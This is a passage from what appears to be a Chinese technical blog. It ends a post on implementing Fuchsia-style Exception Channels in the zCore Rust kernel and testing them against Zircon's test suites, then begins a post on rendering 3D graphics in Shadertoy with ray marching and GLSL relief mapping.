<span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="n">Job</span><span class="p">,</span>
<span class="p">);</span>
<span class="k">return</span> <span class="nf">Some</span><span class="p">(</span><span class="n">result</span><span class="p">);</span>
<span class="p">}</span>
<span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="n">Finished</span> <span class="k">=></span> <span class="k">return</span> <span class="nb">None</span><span class="p">,</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>这里我们直接实现了 Rust 的 <code class="language-plaintext highlighter-rouge">Iterator</code> trait,这样就可以直接使用 <code class="language-plaintext highlighter-rouge">for in</code> 来取出 <code class="language-plaintext highlighter-rouge">Exceptionate</code> 的引用了。具体的实现就是经典的状态机,用 Enum 来表示接下来考虑什么类型的 Exception Channel 。另外在迭代过程中我们还读取了异常是否允许第二次机会,并以此决定是否要使用 Process 上的调试用 Exception Channel 。</p>
<h3 id="抛出异常">抛出异常</h3>
<p>接下来我们就可以在内核的其他地方生成并发送异常了。作为最典型的例子,我们来看 CPU 生成的异常如何处理。为了便于理解,下面的代码进行了许多简化</p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">fn</span> <span class="nf">spawn</span><span class="p">(</span><span class="n">thread</span><span class="p">:</span> <span class="nb">Arc</span><span class="o"><</span><span class="n">Thread</span><span class="o">></span><span class="p">)</span> <span class="p">{</span>
<span class="k">let</span> <span class="n">vmtoken</span> <span class="o">=</span> <span class="n">thread</span><span class="nf">.proc</span><span class="p">()</span><span class="nf">.vmar</span><span class="p">()</span><span class="nf">.table_phys</span><span class="p">();</span>
<span class="k">let</span> <span class="n">future</span> <span class="o">=</span> <span class="k">async</span> <span class="k">move</span> <span class="p">{</span>
<span class="k">let</span> <span class="k">mut</span> <span class="n">exit</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
<span class="c">// 一旦需要线程结束就结束</span>
<span class="k">while</span> <span class="o">!</span><span class="n">exit</span> <span class="p">{</span>
<span class="k">let</span> <span class="k">mut</span> <span class="n">cx</span> <span class="o">=</span> <span class="n">thread</span><span class="nf">.wait_for_run</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
<span class="k">if</span> <span class="n">thread</span><span class="nf">.state</span><span class="p">()</span> <span class="o">==</span> <span class="nn">ThreadState</span><span class="p">::</span><span class="n">Dying</span> <span class="p">{</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="nn">kernel_hal</span><span class="p">::</span><span class="nf">context_run</span><span class="p">(</span><span class="o">&</span><span class="k">mut</span> <span class="n">cx</span><span class="p">);</span>
<span class="nd">#[cfg(target_arch</span> <span class="nd">=</span> <span class="s">"x86_64"</span><span class="nd">)]</span>
<span class="k">match</span> <span class="n">cx</span><span class="py">.trap_num</span> <span class="p">{</span>
<span class="mi">0x100</span> <span class="k">=></span> <span class="n">exit</span> <span class="o">=</span> <span class="nf">handle_syscall</span><span class="p">(</span><span class="o">&</span><span class="n">thread</span><span class="p">,</span> <span class="o">&</span><span class="k">mut</span> <span class="n">cx</span><span class="py">.general</span><span class="p">)</span><span class="k">.await</span><span class="p">,</span>
<span class="mi">0x20</span><span class="o">..=</span><span class="mi">0x3f</span> <span class="k">=></span> <span class="p">{</span>
<span class="c">// 这里省略</span>
<span class="p">}</span>
<span class="mi">0xe</span> <span class="k">=></span> <span class="p">{</span>
<span class="nd">#[cfg(target_arch</span> <span class="nd">=</span> <span class="s">"x86_64"</span><span class="nd">)]</span>
<span class="k">let</span> <span class="n">flags</span> <span class="o">=</span> <span class="p">{</span>
<span class="c">// 这里省略</span>
<span class="p">};</span>
<span class="k">match</span> <span class="n">thread</span>
<span class="nf">.proc</span><span class="p">()</span>
<span class="nf">.vmar</span><span class="p">()</span>
<span class="nf">.handle_page_fault</span><span class="p">(</span><span class="nn">kernel_hal</span><span class="p">::</span><span class="nf">fetch_fault_vaddr</span><span class="p">(),</span> <span class="n">flags</span><span class="p">)</span>
<span class="p">{</span>
<span class="nf">Ok</span><span class="p">(())</span> <span class="k">=></span> <span class="p">{}</span>
<span class="nf">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span> <span class="k">=></span> <span class="p">{</span>
<span class="c">// 无法处理的页错误</span>
<span class="k">let</span> <span class="n">exception</span> <span class="o">=</span> <span class="nn">Exception</span><span class="p">::</span><span class="nf">create</span><span class="p">(</span>
<span class="n">thread</span><span class="nf">.clone</span><span class="p">(),</span>
<span class="nn">ExceptionType</span><span class="p">::</span><span class="n">FatalPageFault</span><span class="p">,</span>
<span class="nf">Some</span><span class="p">(</span><span class="o">&</span><span class="n">cx</span><span class="p">),</span>
<span class="p">);</span>
<span class="k">if</span> <span class="o">!</span><span class="n">exception</span><span class="nf">.handle</span><span class="p">(</span><span class="k">true</span><span class="p">)</span><span class="k">.await</span> <span class="p">{</span>
<span class="c">// 通过设置 exit 变量来退出线程</span>
<span class="n">exit</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="mi">0x8</span> <span class="k">=></span> <span class="p">{</span>
<span class="nd">panic!</span><span class="p">(</span><span class="s">"Double fault from user mode! {:#x?}"</span><span class="p">,</span> <span class="n">cx</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">num</span> <span class="k">=></span> <span class="p">{</span>
<span class="c">// 其它杂七杂八的异常类型</span>
<span class="k">let</span> <span class="n">type_</span> <span class="o">=</span> <span class="k">match</span> <span class="n">num</span> <span class="p">{</span>
<span class="mi">0x1</span> <span class="k">=></span> <span class="nn">ExceptionType</span><span class="p">::</span><span class="n">HardwareBreakpoint</span><span class="p">,</span>
<span class="mi">0x3</span> <span class="k">=></span> <span class="nn">ExceptionType</span><span class="p">::</span><span class="n">SoftwareBreakpoint</span><span class="p">,</span>
<span class="mi">0x6</span> <span class="k">=></span> <span class="nn">ExceptionType</span><span class="p">::</span><span class="n">UndefinedInstruction</span><span class="p">,</span>
<span class="mi">0x17</span> <span class="k">=></span> <span class="nn">ExceptionType</span><span class="p">::</span><span class="n">UnalignedAccess</span><span class="p">,</span>
<span class="mi">_</span> <span class="k">=></span> <span class="nn">ExceptionType</span><span class="p">::</span><span class="n">General</span><span class="p">,</span>
<span class="p">};</span>
<span class="k">let</span> <span class="n">exception</span> <span class="o">=</span> <span class="nn">Exception</span><span class="p">::</span><span class="nf">create</span><span class="p">(</span><span class="n">thread</span><span class="nf">.clone</span><span class="p">(),</span> <span class="n">type_</span><span class="p">,</span> <span class="nf">Some</span><span class="p">(</span><span class="o">&</span><span class="n">cx</span><span class="p">));</span>
<span class="k">if</span> <span class="o">!</span><span class="n">exception</span><span class="nf">.handle</span><span class="p">(</span><span class="k">true</span><span class="p">)</span><span class="k">.await</span> <span class="p">{</span>
<span class="n">exit</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">thread</span><span class="nf">.end_running</span><span class="p">(</span><span class="n">cx</span><span class="p">);</span>
<span class="k">if</span> <span class="n">exit</span> <span class="p">{</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="c">// 结束线程</span>
<span class="n">thread</span><span class="nf">.terminate</span><span class="p">();</span>
<span class="p">};</span>
<span class="nn">kernel_hal</span><span class="p">::</span><span class="nn">Thread</span><span class="p">::</span><span class="nf">spawn</span><span class="p">(</span><span class="nn">Box</span><span class="p">::</span><span class="nf">pin</span><span class="p">(</span><span class="n">future</span><span class="p">),</span> <span class="n">vmtoken</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>可以看到,在 zCore 中用户线程是当作一个 Future 来运行的,在运行 Future 的过程中,我们会在一个大循环里不断切换到用户态,并通过硬件中断切换回来。从用户态切换回来后,我们会对中断进行处理。对于异常的情况,我们直接根据中断编号确定异常的种类,并根据寄存器状态生成异常的基本信息,最后直接使用异常上的 <code class="language-plaintext highlighter-rouge">handle</code> 方法进行处理即可。最后根据 <code class="language-plaintext highlighter-rouge">handle</code> 方法的返回值确定是否已经终止了进程,若是则终止循环,线程也就跟着终止了。</p>
<p>对于其它的异常也是类似的实现方法。当然对于与 Task 生命周期相关的异常会在尝试的 Exception Channel 种类上略有不同,但是大体上差不多。最为特殊的是线程退出的异常,由于我们不一定需要等待异常处理完毕,同时需要保证一定尝试向 Process 上的调试用 Exception Channel 发送 Exception,所以我们直接使用对应 <code class="language-plaintext highlighter-rouge">Exceptionate</code> 的 <code class="language-plaintext highlighter-rouge">send_exception</code> 方法发送异常,并只在需要的时候等待异常处理完成。</p>
<h2 id="测试-exception-channel">测试 Exception Channel</h2>
<p>现在我们实现得差不多了,可以开始测试了。Exception Channel 的测试们除了测试 Exception Channel 机制本身,同时也测试了整个 Task 模块的实现,所以接下来还会提到 Task 模块里的各种问题和细节。</p>
<h3 id="core-test">core-test</h3>
<p>首先是 zircon 的核心测试 core-test 。在 core-test 中其实有不少使用了 Exception Channel 的测试,但是大部分是在使用 Exception Channel 来确认某些操作确实产生了异常,或是在线程启动时进行一些准备操作。对我们来说,比较重要的是 <code class="language-plaintext highlighter-rouge">Threads.ThreadStartWithZeroInstructionPointer</code> <code class="language-plaintext highlighter-rouge">Threads.SuspendMultiple</code> <code class="language-plaintext highlighter-rouge">Threads.KillSuspendedThread</code> 这几个与线程的状态有关的测试,测试的源代码可以在 <a href="https://fuchsia.googlesource.com/fuchsia/+/2d323540e1cfaf3a99926f13e0b6c3c2efaea5d5/zircon/system/utest/core/threads/threads.cc" target="_blank" rel="noopener">Fuchsia 的代码仓库</a> 找到。</p>
<p>从 <code class="language-plaintext highlighter-rouge">Threads.SuspendMultiple</code> 测试中可以发现,就算一个线程在处理异常的时候同时被 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/task_suspend" target="_blank" rel="noopener">zx_task_suspend</a> 系统调用暂停了,线程的状态应该为 BlockedException 状态而非 Suspend 状态。而如果看其他测试,可以发现对于其他 Blocked 的状态, Suspend 状态会将其覆盖。这一点在 Fuchsia 的文档里没有记载,为此我改了一通 Thread 的状态转换。</p>
<p>接下来是大头:专门测试 Exception Channel 的 exception-test。exception-test 的代码可以在 <a href="https://fuchsia.googlesource.com/fuchsia/+/2d323540e1cfaf3a99926f13e0b6c3c2efaea5d5/src/zircon/tests/exception/exception.cc" target="_blank" rel="noopener">Fuchsia 的代码仓库</a> 找到。Fuchsia 默认不会编译 exception-test,所以我需要自行手动编译 Fuchsia。为此我下载了 Fuchsia,配了编译的环境。这里按照 <a href="https://fuchsia.dev/fuchsia-src/getting_started" target="_blank" rel="noopener">官方介绍</a> 就可以搞定,我只需要自行设置代理相关的环境变量即可。之后就可以开始编译了。由于 zircon 和 zCore 的实现略有区别,所以需要对 Fuchsia 代码进行些许的改变才能进行编译。具体的可以看 <a href="https://github.com/rcore-os/zCore/blob/master/scripts/gen-prebuilt.sh" target="_blank" rel="noopener">zCore 仓库内的编译脚本</a>。当然,因为 Fuchsia 源码有些许变动,所以我们需要手动编辑一下同文件夹下的 patch 文件,具体的这里就略过了。最后,在 <code class="language-plaintext highlighter-rouge">fx set</code> 这一行内加上 <code class="language-plaintext highlighter-rouge">--with-base //src/zircon/tests/exception:exception-package</code> 参数,我们就可以在 zCore 加载之后直接使用 exception-test 了。不过,不知为何,用我编译出来的镜像启动时会因为某种原因无法加载 <code class="language-plaintext highlighter-rouge">/boot/test/</code> 路径下的测试二进制,所以我用 Fuchsia 编译出来的 zbi 镜像操作工具把它挪到了 <code class="language-plaintext highlighter-rouge">/boot/bin/</code> 里。</p>
<h3 id="exception-test">exception-test</h3>
<p>在 exception-test 中还是发现了一些实现上的问题的:</p>
<ul>
<li>在 <code class="language-plaintext highlighter-rouge">ExceptionTest.ThreadLifecycleChannelExceptions</code> 测试中,线程退出时无法触发线程退出的异常。这是因为杀死进程之后进程过早结束关闭了 <code class="language-plaintext highlighter-rouge">Exceptionate</code> 导致的。为此我修改了 Task 结束的行为,让 Task 在等待子 Task 完全结束后再完全终止,在此时再关闭了 <code class="language-plaintext highlighter-rouge">Exceptionate</code> 并设置信号等等。</li>
<li>在 <code class="language-plaintext highlighter-rouge">ExceptionTest.ProcessLifecycleJobChannel</code> 测试中,我们发现一个没有子 Task 的 Job 应当在引用它的 Handle 被全部关闭之后自动结束。这意味着我们存储 Job 的子 Job 的时候应该用弱引用 <code class="language-plaintext highlighter-rouge">Weak</code> 而非强引用 <code class="language-plaintext highlighter-rouge">Arc</code> ,并且应当为 Job 实现 <code class="language-plaintext highlighter-rouge">Drop</code> trait 使得它会在销毁时完成结束 Job 的过程。</li>
<li>在 <code class="language-plaintext highlighter-rouge">ExceptionTest.LifecycleBlocking</code> 测试中,我们发现对于线程退出的异常,如果线程是被杀死的,它应当发送完异常后直接结束,而如果线程是自行结束的,它应当等待异常处理。这意味着线程结束时还需要考虑它结束的方式。</li>
</ul>
<p>至此 exception-test 中的 48 个测试除了涉及到还未实现的 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/thread_read_state" target="_blank" rel="noopener">zx_thread_read_state</a> 与 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/thread_write_state" target="_blank" rel="noopener">zx_thread_write_state</a> 两个系统调用的 6 个测试以外,剩下的 42 个测试都已经完全通过了。Exception Channel 的实现看来已经很完善了。</p>
<h2 id="小结">小结</h2>
<p>Exception Channel 实现了之后,可以用它来对一些会触发异常的系统调用进行测试了。比如在内存相关的测试以及硬件驱动相关的测试中,可以检测这些测试中触发的页错误以及特权保护异常了。实现 Exception Channel 之后还有一个结果,就是用户程序的异常可以触发系统级的 crashsvc 了。这意味着系统会尝试为异常退出的进程生成核心转储文件了。虽然 crashsvc 还至少需要有 zx_thread_read_state 和 zx_thread_write_state 这两个系统调用、能够读取异常线程的寄存器状态,才可能完全正常工作,但至少走到到这一步算是一个很大的进步了。</p>
<p>至于之后的工作,一个是 zx_thread_read_state 和 zx_thread_write_state ,另一个是 Job 的权限管理机制。除此之外当然还是得修修 bug。至于更远的之后再看吧。</p>benpigchu本文同时也在 rcore-os blog 发布如何在没有顶点着色器的 Shadertoy 里渲染三维图形2020-05-15T12:34:23+00:002020-05-15T12:34:23+00:00http://benpigchu.github.io/pikanote/article/shadertoy-raymarching-sdf<p>Shadertoy 是一个可以让你编写和分享片元着色器的网站。知道一点 GPU 渲染管线的应该明白,基本的三维图形实时渲染是先把顶点信息塞给 GPU,并通过顶点着色器处理顶点的信息,然后再由 GPU 硬件把每个几何单元(一般是三角形)变成一个个的像素,并进行插值,最后在片元着色器计算最终的颜色。Shadertoy 缺少顶点着色器,这意味着它只能为屏幕空间中的每个像素计算一个颜色。然而即便是有这样的限制,我们依旧能用其他的方法进行三维图形的渲染。Shadertoy 的创始人之一 Inigo Quilez 就是这一位这方面的专家,他在 <a href="https://www.iquilezles.org/www/index.htm" target="_blank" rel="noopener">自己的网站</a> 上写了很多文章介绍这些技术和技巧。接下来我们来学习一下这些技术当中最基本的一些东西,了解一下 Shadertoy 上这些神奇的着色器是如何运作的。</p>
<h2 id="ray-marching">Ray marching</h2>
<p>既然我们只有片元着色器,那么我们直接在片元着色器里跑一整套光线追踪算法就好了嘛。确实如此,但是由于 GPU 的性能限制,我们不能直接对大量的面元进行取交操作,所以需要一些技巧才能处理复杂的形状。在 Shadertoy 中我们一般通过 Ray marching 的方法进行求交。所谓 Ray marching 就是让射线一步一步向前试探,到了射线前进到了物体内部之后就能判断已经相交了。Ray marching 在一般的实时图形编程中也用得到,比如体积云雾效果的实现,以及 <a href="https://en.wikipedia.org/wiki/Relief_mapping_(computer_graphics)" target="_blank" rel="noopener">浮雕贴图</a> 等等。既然说到了浮雕贴图,那么可以想到我们可以在 Shadertoy 里直接利用浮雕贴图的方法做三维图形渲染。接下来我们就来写一个试试。</p>
<p>首先,让我们准备好深度贴图和法线贴图,为了简单我们直接用两个函数来实现:</p>
<div class="language-glsl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">float</span> <span class="nf">texDepth</span><span class="p">(</span><span class="kt">vec2</span> <span class="n">pos</span><span class="p">){</span>
<span class="kt">float</span> <span class="n">baseDepth</span><span class="o">=</span><span class="p">.</span><span class="mi">5</span><span class="o">-</span><span class="n">max</span><span class="p">(</span><span class="n">abs</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">x</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">),</span><span class="n">abs</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">y</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">));</span>
<span class="kt">float</span> <span class="n">dsquare</span><span class="o">=</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">x</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">x</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span><span class="o">+</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">y</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">y</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">);</span>
<span class="kt">float</span> <span class="n">ball</span><span class="o">=</span><span class="n">dsquare</span><span class="o">></span><span class="mi">1</span><span class="p">.</span><span class="o">/</span><span class="mi">16</span><span class="p">.</span><span class="o">?</span><span class="p">.</span><span class="mi">25</span><span class="o">:</span><span class="p">(.</span><span class="mi">25</span><span class="o">-</span><span class="n">sqrt</span><span class="p">(</span><span class="mi">1</span><span class="p">.</span><span class="o">/</span><span class="mi">16</span><span class="p">.</span><span class="o">-</span><span class="n">dsquare</span><span class="p">));</span>
<span class="k">return</span> <span class="n">min</span><span class="p">(</span><span class="n">ball</span><span class="p">,</span><span class="n">clamp</span><span class="p">(</span><span class="n">baseDepth</span><span class="p">,</span><span class="mi">0</span><span class="p">.,.</span><span class="mi">25</span><span class="p">));</span>
<span class="p">}</span>
<span class="kt">vec3</span> <span class="nf">texNormal</span><span class="p">(</span><span class="kt">vec2</span> <span class="n">pos</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">abs</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">x</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span><span class="o">>=</span><span class="mi">0</span><span class="p">.</span><span class="mi">25</span><span class="o">||</span><span class="n">abs</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">y</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span><span class="o">>=</span><span class="mi">0</span><span class="p">.</span><span class="mi">25</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">abs</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">x</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span><span class="o"><=</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="o">&&</span><span class="n">abs</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">y</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span><span class="o"><=</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">){</span>
<span class="kt">vec3</span> <span class="n">leftdown</span><span class="o">=</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">x</span><span class="o">></span><span class="n">pos</span><span class="p">.</span><span class="n">y</span><span class="p">)</span><span class="o">?</span><span class="kt">vec3</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="o">:</span><span class="kt">vec3</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="kt">vec3</span> <span class="n">rightup</span><span class="o">=</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">x</span><span class="o">></span><span class="n">pos</span><span class="p">.</span><span class="n">y</span><span class="p">)</span><span class="o">?</span><span class="kt">vec3</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="o">:</span><span class="kt">vec3</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="k">return</span> <span class="n">normalize</span><span class="p">((</span><span class="n">pos</span><span class="p">.</span><span class="n">x</span><span class="o">+</span><span class="n">pos</span><span class="p">.</span><span class="n">y</span><span class="o">>=</span><span class="mi">1</span><span class="p">.)</span><span class="o">?</span><span class="n">rightup</span><span class="o">:</span><span class="n">leftdown</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">float</span> <span class="n">dsquare</span><span class="o">=</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">x</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">x</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span><span class="o">+</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">y</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">y</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">dsquare</span><span class="o"><=</span><span class="mi">1</span><span class="p">.</span><span class="o">/</span><span class="mi">16</span><span class="p">.){</span>
<span class="k">return</span> <span class="n">normalize</span><span class="p">(</span><span class="kt">vec3</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">x</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">,</span><span class="n">pos</span><span class="p">.</span><span class="n">y</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">,</span><span class="n">sqrt</span><span class="p">(</span><span class="mi">1</span><span class="p">.</span><span class="o">/</span><span class="mi">16</span><span class="p">.</span><span class="o">-</span><span class="n">dsquare</span><span class="p">)));</span>
<span class="p">}</span>
<span class="k">return</span> <span class="kt">vec3</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>可以看出来,贴图的内容是在坑里放一个半球。</p>
<p>接下来,我们计算一下每个像素对应的射线方向:</p>
<div class="language-glsl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//基于四元数的旋转</span>
<span class="kt">vec4</span> <span class="nf">quaternion</span><span class="p">(</span><span class="kt">vec3</span> <span class="n">axis</span><span class="p">,</span><span class="kt">float</span> <span class="n">angle</span><span class="p">){</span>
<span class="kt">float</span> <span class="n">halfang</span><span class="o">=</span><span class="n">angle</span><span class="o">/</span><span class="mi">2</span><span class="p">.;</span>
<span class="k">return</span> <span class="kt">vec4</span><span class="p">(</span><span class="n">axis</span><span class="o">*</span><span class="n">sin</span><span class="p">(</span><span class="n">halfang</span><span class="p">),</span><span class="n">cos</span><span class="p">(</span><span class="n">halfang</span><span class="p">));</span>
<span class="p">}</span>
<span class="kt">vec4</span> <span class="nf">quaternionMultiply</span><span class="p">(</span><span class="kt">vec4</span> <span class="n">q1</span><span class="p">,</span><span class="kt">vec4</span> <span class="n">q2</span><span class="p">){</span>
<span class="k">return</span> <span class="kt">vec4</span><span class="p">(</span><span class="n">q1</span><span class="p">.</span><span class="n">xyz</span><span class="o">*</span><span class="n">q2</span><span class="p">.</span><span class="n">w</span><span class="o">+</span><span class="n">q1</span><span class="p">.</span><span class="n">w</span><span class="o">*</span><span class="n">q2</span><span class="p">.</span><span class="n">xyz</span><span class="o">+</span><span class="n">cross</span><span class="p">(</span><span class="n">q1</span><span class="p">.</span><span class="n">xyz</span><span class="p">,</span><span class="n">q2</span><span class="p">.</span><span class="n">xyz</span><span class="p">)</span>
<span class="p">,</span><span class="n">q1</span><span class="p">.</span><span class="n">w</span><span class="o">*</span><span class="n">q2</span><span class="p">.</span><span class="n">w</span><span class="o">-</span><span class="n">dot</span><span class="p">(</span><span class="n">q1</span><span class="p">.</span><span class="n">xyz</span><span class="p">,</span><span class="n">q2</span><span class="p">.</span><span class="n">xyz</span><span class="p">));</span>
<span class="p">}</span>
<span class="kt">vec3</span> <span class="nf">rotation</span><span class="p">(</span><span class="kt">vec4</span> <span class="n">q</span><span class="p">,</span><span class="kt">vec3</span> <span class="n">pos</span><span class="p">){</span>
<span class="k">return</span> <span class="n">pos</span><span class="o">+</span><span class="mi">2</span><span class="p">.</span><span class="o">*</span><span class="n">cross</span><span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">xyz</span><span class="p">,</span><span class="n">cross</span><span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">xyz</span><span class="p">,</span><span class="n">pos</span><span class="p">)</span><span class="o">+</span><span class="n">q</span><span class="p">.</span><span class="n">w</span><span class="o">*</span><span class="n">pos</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// 给出当前像素的光线方向</span>
<span class="kt">vec3</span> <span class="nf">rayDirection</span><span class="p">(</span><span class="kt">vec2</span> <span class="n">fragCoord</span><span class="p">){</span>
<span class="kt">float</span> <span class="n">zoom</span><span class="o">=</span><span class="mi">1</span><span class="p">.</span><span class="mi">2</span><span class="p">;</span>
<span class="kt">vec2</span> <span class="n">offset</span><span class="o">=</span><span class="n">fragCoord</span><span class="o">/</span><span class="n">iResolution</span><span class="p">.</span><span class="n">xy</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">;</span>
<span class="n">offset</span><span class="p">.</span><span class="n">y</span><span class="o">/=</span><span class="n">iResolution</span><span class="p">.</span><span class="n">x</span><span class="o">/</span><span class="n">iResolution</span><span class="p">.</span><span class="n">y</span><span class="p">;</span>
<span class="kt">vec3</span> <span class="n">rawDir</span><span class="o">=</span><span class="kt">vec3</span><span class="p">(</span><span class="n">offset</span><span class="o">/</span><span class="n">zoom</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">.);</span>
<span class="c1">// 在这里我们用 ShaderToy 提供的 iMouse 来获取鼠标位置,这样就可以用鼠标改变视角</span>
<span class="kt">vec2</span> <span class="n">mouseAngles</span><span class="o">=</span><span class="n">iMouse</span><span class="p">.</span><span class="n">xy</span><span class="o">/</span><span class="n">iResolution</span><span class="p">.</span><span class="n">xy</span><span class="o">-</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">;</span>
<span class="kt">vec4</span> <span class="n">qUpDown</span><span class="o">=</span><span class="n">quaternion</span><span class="p">(</span><span class="kt">vec3</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">),</span><span class="n">radians</span><span class="p">(</span><span class="mi">45</span><span class="p">.</span><span class="o">+</span><span class="n">mouseAngles</span><span class="p">.</span><span class="n">y</span><span class="o">*</span><span class="mi">30</span><span class="p">.</span><span class="mi">0</span><span class="p">));</span>
<span class="kt">vec4</span> <span class="n">qLeftRight</span><span class="o">=</span><span class="n">quaternion</span><span class="p">(</span><span class="kt">vec3</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">),</span><span class="n">radians</span><span class="p">(</span><span class="o">-</span><span class="mi">45</span><span class="p">.</span><span class="o">-</span><span class="n">mouseAngles</span><span class="p">.</span><span class="n">x</span><span class="o">*</span><span class="mi">30</span><span class="p">.</span><span class="mi">0</span><span class="p">));</span>
<span class="kt">vec4</span> <span class="n">q</span><span class="o">=</span><span class="n">quaternionMultiply</span><span class="p">(</span><span class="n">qLeftRight</span><span class="p">,</span><span class="n">qUpDown</span><span class="p">);</span>
<span class="k">return</span> <span class="n">normalize</span><span class="p">(</span><span class="n">rotation</span><span class="p">(</span><span class="n">q</span><span class="p">,</span><span class="n">rawDir</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>
<p>接下来是核心的 Ray marching 部分:</p>
<div class="language-glsl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define iteration 128
</span><span class="c1">// start 为光线的起点,dir 为光线的方向,maxDepth 为光线前进的深度上限,返回值为最终的交点</span>
<span class="kt">vec3</span> <span class="nf">rayMarching</span><span class="p">(</span><span class="kt">vec3</span> <span class="n">start</span><span class="p">,</span><span class="kt">vec3</span> <span class="n">dir</span><span class="p">,</span><span class="kt">float</span> <span class="n">maxDepth</span><span class="p">){</span>
<span class="c1">// 分成若干步,注意我们这里除以了方向的 z 分量,这样使得每一步前进的深度是一定的</span>
